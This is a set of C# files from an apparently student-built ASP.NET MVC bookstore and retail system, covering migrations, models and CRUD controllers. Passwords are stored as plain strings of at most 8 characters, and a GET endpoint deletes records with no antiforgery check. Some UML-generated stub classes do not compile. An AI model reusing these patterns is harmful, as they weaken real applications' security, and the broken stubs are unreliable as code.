sobrenome = c.String(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.ExemplarAutors",
c => new
{
Exemplar_id = c.Int(nullable: false),
Autor_id = c.Int(nullable: false),
})
.PrimaryKey(t => new { t.Exemplar_id, t.Autor_id })
.ForeignKey("dbo.Itens", t => t.Exemplar_id, cascadeDelete: true)
.ForeignKey("dbo.Autores", t => t.Autor_id, cascadeDelete: true)
.Index(t => t.Exemplar_id)
.Index(t => t.Autor_id);
}
public override void Down()
{
DropForeignKey("dbo.Transacoes", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Itens", "Pedido_id", "dbo.Pedidos");
DropForeignKey("dbo.Pedidos", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Avaliacoes", "clienteId", "dbo.Clientes");
DropForeignKey("dbo.Clientes", "enderecoId", "dbo.Enderecos");
DropForeignKey("dbo.Itens", "unidadeMedidaId", "dbo.UnidadesMedida");
DropForeignKey("dbo.Itens", "marcaId", "dbo.Marcas");
DropForeignKey("dbo.Itens", "VendaId", "dbo.Vendas");
DropForeignKey("dbo.Itens", "sessaoId", "dbo.Sessoes");
DropForeignKey("dbo.Itens", "idiomaId", "dbo.Idiomas");
DropForeignKey("dbo.Idiomas", "paisId", "dbo.Paises");
DropForeignKey("dbo.Itens", "editoraId", "dbo.Fornecedores");
DropForeignKey("dbo.ExemplarAutors", "Autor_id", "dbo.Autores");
DropForeignKey("dbo.ExemplarAutors", "Exemplar_id", "dbo.Itens");
DropForeignKey("dbo.Autores", "enderecoId", "dbo.Enderecos");
DropForeignKey("dbo.Enderecos", "cidadeId", "dbo.Cidades");
DropForeignKey("dbo.Cidades", "estadoId", "dbo.Estados");
DropForeignKey("dbo.Estados", "paisId", "dbo.Paises");
DropIndex("dbo.ExemplarAutors", new[] { "Autor_id" });
DropIndex("dbo.ExemplarAutors", new[] { "Exemplar_id" });
DropIndex("dbo.Transacoes", new[] { "clienteId" });
DropIndex("dbo.Pedidos", new[] { "clienteId" });
DropIndex("dbo.Clientes", new[] { "enderecoId" });
DropIndex("dbo.Avaliacoes", new[] { "clienteId" });
DropIndex("dbo.Idiomas", new[] { "paisId" });
DropIndex("dbo.Itens", new[] { "Pedido_id" });
DropIndex("dbo.Itens", new[] { "marcaId" });
DropIndex("dbo.Itens", new[] { "unidadeMedidaId" });
DropIndex("dbo.Itens", new[] { "sessaoId" });
DropIndex("dbo.Itens", new[] { "idiomaId" });
DropIndex("dbo.Itens", new[] { "editoraId" });
DropIndex("dbo.Itens", new[] { "VendaId" });
DropIndex("dbo.Estados", new[] { "paisId" });
DropIndex("dbo.Cidades", new[] { "estadoId" });
DropIndex("dbo.Enderecos", new[] { "cidadeId" });
DropIndex("dbo.Autores", new[] { "enderecoId" });
DropTable("dbo.ExemplarAutors");
DropTable("dbo.Usuarios");
DropTable("dbo.Transacoes");
DropTable("dbo.Pedidos");
DropTable("dbo.Clientes");
DropTable("dbo.Avaliacoes");
DropTable("dbo.UnidadesMedida");
DropTable("dbo.Marcas");
DropTable("dbo.Vendas");
DropTable("dbo.Sessoes");
DropTable("dbo.Idiomas");
DropTable("dbo.Fornecedores");
DropTable("dbo.Itens");
DropTable("dbo.Paises");
DropTable("dbo.Estados");
DropTable("dbo.Cidades");
DropTable("dbo.Enderecos");
DropTable("dbo.Autores");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public enum Perfil
{
[Display(Name = "Administrador")]
ADMINISTRADOR = 1,
[Display(Name = "Funcionário")]
FUNCIONARIO = 2,
[Display(Name = "Cliente")]
CLIENTE = 3,
}
public class Usuario : EntidadeAbstrata
{
[Display(Name = "E-mail")]
[DataType(DataType.EmailAddress, ErrorMessage = "Por favor insira um e-mail válido")]
[StringLength(50, ErrorMessage = "O e-mail é muito longo")]
public string email { get; set; }
[Display(Name = "Senha")]
[Required(ErrorMessage = "Senha não informada!")]
[StringLength(8, ErrorMessage = "Senha senha precisa conter entre 3 e 8 caracteres", MinimumLength = 3)]
[DataType(DataType.Password)]
public string senha { get; set; }
[Display(Name = "Confirme a senha")]
[Required(ErrorMessage = "Confirme sua senha")]
[StringLength(8, ErrorMessage = "Senha senha precisa conter entre 3 e 8 caracteres", MinimumLength = 3)]
[DataType(DataType.Password)]
[Compare("senha")]
public string confirmaSenha { get; set; }
[Display(Name = "Ativo")]
public bool ativo { get; set; }
[Display(Name = "Perfil")]
[Required(ErrorMessage = "Selecione um perfil")]
public Perfil pefil { get; set; }
[Display(Name = "Nome")]
[Required(ErrorMessage = "Insira um nome")]
public string nome { get; set; }
[Display(Name = "Sobrenome")]
[Required(ErrorMessage = "Insira um sobrenome")]
public string sobrenome { get; set; }
[NotMapped]
public String perfilString
{
get
{
if (this.pefil == Perfil.ADMINISTRADOR)
return "Administrador";
if (this.pefil == Perfil.CLIENTE)
return "Cliente";
if (this.pefil == Perfil.FUNCIONARIO)
return "Funcionário";
else return "";
}
}
[NotMapped]
public String ativoString
{
get
{
if (this.ativo)
return "Sim";
else
return "Não";
}
}
}
}<file_sep>namespace br.com.Sistema.uml.classes de entidades
{
public enum TipoGenero
{
FEMININO,
MASCULINO,
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
namespace Finis.Models
{
public enum FormaPagamento
{
[Display(Name = "Dinheiro")]
DINHEIRO = 1,
[Display(Name = "Cartão de crédito")]
CARTAO_CREDITO = 2,
[Display(Name = "Cartão de débito")]
CARTAO_DEBITO = 3
}
public class Venda : EntidadeAbstrata
{
public Venda()
{
this.itensVenda = new List<ItemVenda>();
this.formaPagamento = FormaPagamento.DINHEIRO;
this.dataCompra = DateTime.Now;
this.creditoEspecial = 0;
this.creditoParcial = 0;
this.desconto = 0;
this.descontoPorcentagem = 0;
this.subtotal = 0;
this.total = 0;
this.recebido = 0;
this.troco = 0;
}
[Display(Name = "Data da Compra")]
[DisplayFormat(DataFormatString = "{0:dd/MM/yyyy HH:mm}")]
[Required(ErrorMessage = "Por favor insira uma data")]
public DateTime dataCompra { get; set; }
[Display(Name = "Crédito especial")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal creditoEspecial { get; set; }
[Display(Name = "Crédito parcial")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal creditoParcial { get; set; }
[Display(Name = "Desconto")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal desconto { get; set; }
[Display(Name = "Desconto (%)")]
[Range(0, 100, ErrorMessage = "O valor deve ser entre 0 e 100")]
public int descontoPorcentagem { get; set; }
[Display(Name = "Subtotal")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal subtotal { get; set; }
[Display(Name = "Valor final")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal total { get; set; }
[Display(Name = "Recebido")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal recebido { get; set; }
[Display(Name = "Troco")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem valor")]
public decimal troco { get; set; }
[Display(Name = "Forma de Pagamento")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public FormaPagamento formaPagamento { get; set; }
[ForeignKey("vendaId")]
public IList<ItemVenda> itensVenda { get; set; }
//[NotMapped]
//[Display(Name = "Cliente")]
//[Required(ErrorMessage = "Por favor selecione um cliente")]
//public string clienteNome { get; set; }
[Display(Name = "Cliente")]
[Required(ErrorMessage = "Por favor selecione um cliente")]
public int? clienteId { get; set; }
[ForeignKey("clienteId")]
public virtual Cliente cliente { get; set; }
[NotMapped]
public string creditoParcialString
{
get
{
return this.creditoParcial.ToString("C");
}
}
[NotMapped]
public string creditoEspecialString
{
get
{
return this.creditoEspecial.ToString("C");
}
}
[NotMapped]
public string dataCompraString
{
get
{
return this.dataCompra.ToString("0:dd/MM/yyyy HH:mm");
}
set
{
this.dataCompra = Convert.ToDateTime(value).Date;
}
}
[NotMapped]
public String formaPagamentoString
{
get
{
if (this.formaPagamento == FormaPagamento.DINHEIRO)
return "Dinheiro";
else if (this.formaPagamento == FormaPagamento.CARTAO_CREDITO)
return "Cartão de crédito";
else if (this.formaPagamento == FormaPagamento.CARTAO_DEBITO)
return "Cartão de débito";
else return "";
}
}
}
}<file_sep>using br.com.Sistema.uml.classes de entidades;
namespace br.com.Sistema.uml.classes de entidades
{
public class Cidade
{
private string nome;
private Estado estado;
private Estado estado;
private Estado estado;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public class Pessoa : EntidadeAbstrata
{
public Pessoa()
{
//this.endereco = new Endereco();
}
[Display(Name = "Nome")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(50, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[Display(Name = "E-mail")]
[DataType(DataType.EmailAddress, ErrorMessage = "Por favor insira um e-mail válido")]
[StringLength(50, ErrorMessage = "O e-mail é muito longo")]
public string email { get; set; }
[Display(Name = "Telefone")]
[StringLength(15, ErrorMessage = "O número é muito longo")]
public string telefone { get; set; }
[Display(Name = "Celular")]
[StringLength(15, ErrorMessage = "O número é muito longo")]
public string celular { get; set; }
[Display(Name = "Endereço")]
public int enderecoId { get; set; }
[ForeignKey("enderecoId")]
public virtual Endereco endereco { get; set; }
}
}<file_sep>namespace Finis.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class modificacaovendas : DbMigration
{
public override void Up()
{
DropForeignKey("dbo.ItemVendas", "Item_id", "dbo.Itens");
DropForeignKey("dbo.ItemVendas", "Venda_id", "dbo.Vendas");
DropIndex("dbo.ItemVendas", new[] { "Item_id" });
DropIndex("dbo.ItemVendas", new[] { "Venda_id" });
CreateTable(
"dbo.ItensVenda",
c => new
{
id = c.Int(nullable: false, identity: true),
indice = c.Int(nullable: false),
quantidade = c.Int(nullable: false),
precoTotal = c.Decimal(nullable: false, precision: 18, scale: 2),
vendaId = c.Int(nullable: false),
itemId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Itens", t => t.itemId, cascadeDelete: false)
.ForeignKey("dbo.Vendas", t => t.vendaId, cascadeDelete: false)
.Index(t => t.vendaId)
.Index(t => t.itemId);
AddColumn("dbo.Itens", "quantidadeEstoque", c => c.Int(nullable: false));
DropColumn("dbo.Itens", "precoTotal");
DropColumn("dbo.Itens", "quantidade");
DropTable("dbo.ItemVendas");
}
public override void Down()
{
CreateTable(
"dbo.ItemVendas",
c => new
{
Item_id = c.Int(nullable: false),
Venda_id = c.Int(nullable: false),
})
.PrimaryKey(t => new { t.Item_id, t.Venda_id });
AddColumn("dbo.Itens", "quantidade", c => c.Int(nullable: false));
AddColumn("dbo.Itens", "precoTotal", c => c.Decimal(nullable: false, precision: 18, scale: 2));
DropForeignKey("dbo.ItensVenda", "vendaId", "dbo.Vendas");
DropForeignKey("dbo.ItensVenda", "itemId", "dbo.Itens");
DropIndex("dbo.ItensVenda", new[] { "itemId" });
DropIndex("dbo.ItensVenda", new[] { "vendaId" });
DropColumn("dbo.Itens", "quantidadeEstoque");
DropTable("dbo.ItensVenda");
CreateIndex("dbo.ItemVendas", "Venda_id");
CreateIndex("dbo.ItemVendas", "Item_id");
AddForeignKey("dbo.ItemVendas", "Venda_id", "dbo.Vendas", "id", cascadeDelete: true);
AddForeignKey("dbo.ItemVendas", "Item_id", "dbo.Itens", "id", cascadeDelete: true);
}
}
}
<file_sep>using br.com.Sistema.uml.classes de entidades;
namespace br.com.Sistema.uml.classes de entidades
{
public class Cliente : Pessoa
{
private decimal saldo;
private DateTime dataNascimento;
private TipoGenero sexo;
private string rg;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
namespace Finis.Models
{
public enum Conservacao
{
[Display(Name = "Novo")]
NOVO = 1,
[Display(Name = "Usado")]
USADO = 2,
}
public enum VendaOnline
{
[Display(Name = "Sim")]
SIM = 1,
[Display(Name = "Não")]
NAO = 2,
}
public class Autor : Pessoa
{
public Autor()
{
this.exemplares = new HashSet<Exemplar>();
}
public virtual ICollection<Exemplar> exemplares { get; set; }
}
public class Editora : Fornecedor {}
public class Idioma : EntidadeAbstrata
{
[Display(Name = "Nome")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(20, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[NotMapped]
[Display(Name = "País")]
[Required(ErrorMessage = "Por favor selecione um país")]
public string paisNome { get; set; }
[Display(Name = "País")]
[Required(ErrorMessage = "Por favor selecione um país")]
public int paisId { get; set; }
[ForeignKey("paisId")]
public virtual Pais pais { get; set; }
}
public class Sessao : EntidadeAbstrata
{
[Display(Name = "Nome")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(20, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
}
public class Exemplar : Item
{
public Exemplar()
{
}
[Display(Name = "Conservação")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public Conservacao conservacao { get; set; }
[Display(Name = "ISBN")]
[StringLength(32, ErrorMessage = "O valor é muito longo")]
public string isbn { get; set; }
[Display(Name = "Ano")]
[Range(1000, 2017, ErrorMessage = "Ano inválido")]
public int ano { get; set; }
[Display(Name = "Edição")]
[DisplayFormat(DataFormatString = "{0}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem edição")]
[Range(0, 100, ErrorMessage = "Valor inválido")]
public int edicao { get; set; }
[Display(Name = "Peso (Kg)")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem peso")]
[Range(0, 100, ErrorMessage = "O peso deve ser entre 0 e 100")]
public decimal peso { get; set; }
[Display(Name = "Disponibilizar para venda na internet?")]
public VendaOnline vendaOnline { get; set; }
[NotMapped]
[Display(Name = "Autores")]
public string AutoresNome { get; set; }
public virtual ICollection<Autor> autores { get; set; }
[NotMapped]
[Display(Name = "Editora")]
//[Required(ErrorMessage = "Por favor selecione uma editora")]
public string editoraNome { get; set; }
[Display(Name = "Editora")]
[Required(ErrorMessage = "Por favor selecione uma editora")]
public int editoraId { get; set; }
[ForeignKey("editoraId")]
public virtual Editora editora { get; set; }
[Display(Name = "Idioma")]
[Required(ErrorMessage = "Por favor selecione um idioma")]
public int idiomaId { get; set; }
[ForeignKey("idiomaId")]
public virtual Idioma idioma { get; set; }
[Display(Name = "Sessão")]
[Required(ErrorMessage = "Por favor selecione uma sessão")]
public int sessaoId { get; set; }
[ForeignKey("sessaoId")]
public virtual Sessao sessao { get; set; }
[NotMapped]
public string precoCompraString
{
get
{
return this.precoCompra.ToString("C");
}
}
[NotMapped]
public string precoVendaString
{
get
{
return this.precoVenda.ToString("C");
}
}
[NotMapped]
public String conservacaoString
{
get
{
if (this.conservacao == Conservacao.NOVO)
return "Novo";
else if (this.conservacao == Conservacao.USADO)
return "Usado";
else return "";
}
}
[NotMapped]
public String vendaOnlineString
{
get
{
if (this.vendaOnline == VendaOnline.SIM)
return "Sim";
else if (this.vendaOnline == VendaOnline.NAO)
return "Não";
else return "";
}
}
}
}<file_sep>using br.com.Sistema.uml.classes de entidades;
namespace br.com.Sistema.uml.classes de entidades
{
public class Exemplar
{
private string sessao;
private string idioma;
private string autor;
private string titulo;
private string editora?;
private int isbn;
private DateTime ano;
private int edicao;
private decimal preco;
private string descricao;
private decimal peso;
private bool vendaOnline;
private int quantidade;
private Conservacao[] conservacao;
private ItensVenda[] itensVenda;
private ItensVenda[] itensVenda;
}
}
<file_sep>using Finis.Controllers;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public enum TipoGenero
{
[Display(Name = "Feminino")]
FEMININO = 1,
[Display(Name = "Masculino")]
MASCULINO = 2,
}
public class Cliente : Pessoa
{
public Cliente()
{
}
[Display(Name = "Ativo")]
public bool ativo { get; set; }
[Display(Name = "Saldo de crédito parcial")]
[Required(ErrorMessage = "Por favor insira um valor")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem preço")]
public decimal saldoCreditoParcial { get; set; }
[Display(Name = "Saldo de crédito especial")]
[Required(ErrorMessage = "Por favor insira um valor")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem preço")]
public decimal saldoCreditoEspecial { get; set; }
[Display(Name = "Data de Nascimento")]
[DisplayFormat(DataFormatString = "{0:dd/MM/yyyy}")]
[Required(ErrorMessage = "Por favor insira uma data")]
public DateTime dataNascimento { get; set; }
[Display(Name = "Gênero")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public TipoGenero genero { get; set; }
[Display(Name = "Registro Geral (RG)")]
[Required(ErrorMessage = "Por favor um número de documento")]
[StringLength(20, ErrorMessage = "O número do documento é muito longo")]
public string rg { get; set; }
[NotMapped]
public string saldoCreditoParcialString
{
get
{
return this.saldoCreditoParcial.ToString("C");
}
}
[NotMapped]
public string saldoCreditoEspecialString
{
get
{
return this.saldoCreditoEspecial.ToString("C");
}
}
[NotMapped]
public string dataNascimentoString
{
get
{
return this.dataNascimento.ToString("dd/MM/yyyy");
}
set
{
this.dataNascimento = Convert.ToDateTime(value).Date;
}
}
[NotMapped]
public String generoString
{
get
{
if (this.genero == TipoGenero.FEMININO)
return "Feminino";
else if (this.genero == TipoGenero.MASCULINO)
return "Masculino";
else return "";
}
}
public void EmitirCartao(Cliente cliente)
{
}
public void NovoSaldoEspecial(decimal credito)
{
TransacoesController transacaoCreditoEspecial = new TransacoesController();
transacaoCreditoEspecial.GeraTransacaoEntrada(credito, TipoCredito.ESPECIAL, this.id);
this.saldoCreditoEspecial = credito;
}
public void NovoSaldoParcial(decimal credito)
{
TransacoesController transacaoCreditoParcial = new TransacoesController();
transacaoCreditoParcial.GeraTransacaoEntrada(credito, TipoCredito.PARCIAL, this.id);
this.saldoCreditoParcial = credito;
}
public void AtualizaSaldoEspecial(decimal creditoEspecial)
{
TransacoesController transacaoCreditoEspecial = new TransacoesController();
transacaoCreditoEspecial.GeraTransacaoEntrada(creditoEspecial, TipoCredito.ESPECIAL, this.id);
this.saldoCreditoEspecial += creditoEspecial;
}
public void AtualizaSaldoParcial(decimal creditoParcial)
{
TransacoesController transacaoCreditoParcial = new TransacoesController();
transacaoCreditoParcial.GeraTransacaoEntrada(creditoParcial, TipoCredito.PARCIAL, this.id);
this.saldoCreditoParcial += creditoParcial;
}
public void AtualizaSaidaSaldoEspecial(decimal creditoEspecial)
{
TransacoesController transacaoCreditoEspecial = new TransacoesController();
transacaoCreditoEspecial.GeraTransacaoSaida(creditoEspecial, TipoCredito.ESPECIAL, this.id);
this.saldoCreditoEspecial -= creditoEspecial;
}
public void AtualizaSaidaSaldoParcial(decimal creditoParcial)
{
TransacoesController transacaoCreditoParcial = new TransacoesController();
transacaoCreditoParcial.GeraTransacaoSaida(creditoParcial, TipoCredito.PARCIAL, this.id);
this.saldoCreditoParcial -= creditoParcial;
}
}
}<file_sep>using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.IO;
using System.Linq;
using System.Runtime.Serialization.Json;
using System.Text;
using System.Web;
namespace Finis.Models
{
public abstract class EntidadeAbstrata
{
public EntidadeAbstrata()
{
this.id = 0;
this.date_insert = DateTime.Now;
this.date_update = DateTime.Now;
this.user_insert = "";
this.user_update = "";
}
[Key]
[Editable(false)]
public int id { get; set; }
private string _user_insert;
private string _user_update;
private DateTime _date_insert;
private DateTime _date_update;
public virtual string user_insert
{
get { return _user_insert; }
set { _user_insert = value; }
}
public virtual string user_update
{
get { return _user_update; }
set { _user_update = value; }
}
public virtual DateTime date_insert
{
get { return _date_insert; }
set { _date_insert = value; }
}
public virtual DateTime date_update
{
get { return _date_update; }
set { _date_update = value; }
}
public virtual void ConfigurarParaSalvar()
{
if (HttpContext.Current != null)
{
string _Login = HttpContext.Current.User.Identity.Name;
if (!string.IsNullOrEmpty(_Login))
{
if (_Login.Length > 20)
_Login = _Login.Substring(0, 20);
}
if (this.id == 0)
{
this.date_insert = DateTime.Now;
this.date_update = DateTime.Now;
this.user_insert = _Login;
this.user_update = "";
}
else
{
this.date_update = DateTime.Now;
this.user_update = _Login;
}
}
else
{
this.user_insert = "DEBUG";
this.user_update = "DEBUG";
}
}
public string Serializar()
{
return JsonConvert.SerializeObject(this);
}
private string SerializeJson()
{
using (MemoryStream buffer = new MemoryStream())
{
DataContractJsonSerializer ser = new DataContractJsonSerializer(this.GetType());
ser.WriteObject(buffer, this);
return ASCIIEncoding.ASCII.GetString(buffer.ToArray());
}
}
public object Clone()
{
return this.MemberwiseClone();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class ServicosController : Controller
{
private Contexto db = new Contexto();
// GET: Servicos
public ActionResult Index()
{
return View(db.Item.OfType<Servico>().ToList().OrderBy(s => s.nome));
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Item.OfType<Servico>().Where(p => p.nome.Contains(pesquisar)).ToList().OrderBy(p => p.nome));
}
// GET: Servicos/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Servico model = (Servico)db.Item.Find(id);
if (model == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = model.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public ActionResult Exportar()
{
List<Servico> servico = new List<Servico>();
servico = db.Item.OfType<Servico>().ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Servicos.rpt"));
rd.SetDataSource(servico);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Servicos.pdf");
}
private bool VerificaJaExiste(Servico usuario)
{
List<Servico> resultado = new List<Servico>();
resultado = db.Item.OfType<Servico>().Where(e => e.nome.Equals(usuario.nome)).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// GET: Servicos/Create
public ActionResult Create()
{
return View();
}
// POST: Servicos/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Servico servico)
{
if (ModelState.IsValid)
{
servico.nome = servico.nome.ToUpper();
if (VerificaJaExiste(servico))
{
ViewBag.Erro = "Já existe um registro com o nome informado!";
return View(servico);
}
servico.ConfigurarParaSalvar();
db.Item.Add(servico);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(servico);
}
// GET: Servicos/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Servico servico = (Servico)db.Item.Find(id);
if (servico == null)
{
return HttpNotFound();
}
return View(servico);
}
// POST: Servicos/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Servico servico)
{
if (ModelState.IsValid)
{
servico.ConfigurarParaSalvar();
db.Entry(servico).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(servico);
}
// GET: Usuarios/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Servico servico = (Servico)db.Item.Find(id);
db.Item.Remove(servico);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using br.com.Sistema.uml.classes de entidades;
namespace br.com.Sistema.uml.classes de entidades
{
public class Pessoa
{
private string nome;
private string email;
private int telefone;
private int celular;
private Endereco endereco;
private Endereco endereco;
private Endereco endereco;
private Endereco endereco;
private TipoGenero[] tipoGenero;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class PaisesController : Controller
{
private Contexto db = new Contexto();
// GET: Paises
public ActionResult Index()
{
return View(db.Pais.OrderBy(p => p.nome).ToList());
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.Pais.Where(c => c.nome.Contains(pesquisar)).ToList());
}
public ActionResult Exportar()
{
List<Pais> pais = new List<Pais>();
pais = db.Pais.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Paises.rpt"));
rd.SetDataSource(pais);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Paises.pdf");
}
// GET: Paises/Details/5
public ActionResult Details(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Pais pais = db.Pais.Find(id);
if (pais == null)
{
return HttpNotFound();
}
return View(pais);
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Pais pais = db.Pais.Find(id);
if (pais == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = pais.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Paises/Create
public ActionResult Create()
{
return View();
}
private bool VerificaJaExiste(Pais pais)
{
List<Pais> resultado = new List<Pais>();
resultado = db.Pais.Where(p => p.nome == pais.nome).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// POST: Paises/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Pais model)
{
if (ModelState.IsValid)
{
model.nome = model.nome.ToUpper();
model.sigla = model.sigla.ToUpper();
if (VerificaJaExiste(model))
{
ViewBag.Erro = "Ja existe um registro com os valores informados!";
return View(model);
}
model.ConfigurarParaSalvar();
db.Pais.Add(model);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(model);
}
// GET: Paises/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Pais pais = db.Pais.Find(id);
if (pais == null)
{
return HttpNotFound();
}
return View(pais);
}
// POST: Paises/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Pais pais)
{
if (ModelState.IsValid)
{
pais.nome = pais.nome.ToUpper();
pais.sigla = pais.sigla.ToUpper();
pais.ConfigurarParaSalvar();
db.Entry(pais).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(pais);
}
// GET: Paises/Delete/5
public ActionResult Delete(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Pais pais = db.Pais.Find(id);
if (pais == null)
{
return HttpNotFound();
}
return View(pais);
}
// POST: Paises/Delete/5
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public ActionResult DeleteConfirmed(int id)
{
Pais pais = db.Pais.Find(id);
db.Pais.Remove(pais);
db.SaveChanges();
return RedirectToAction("Index");
}
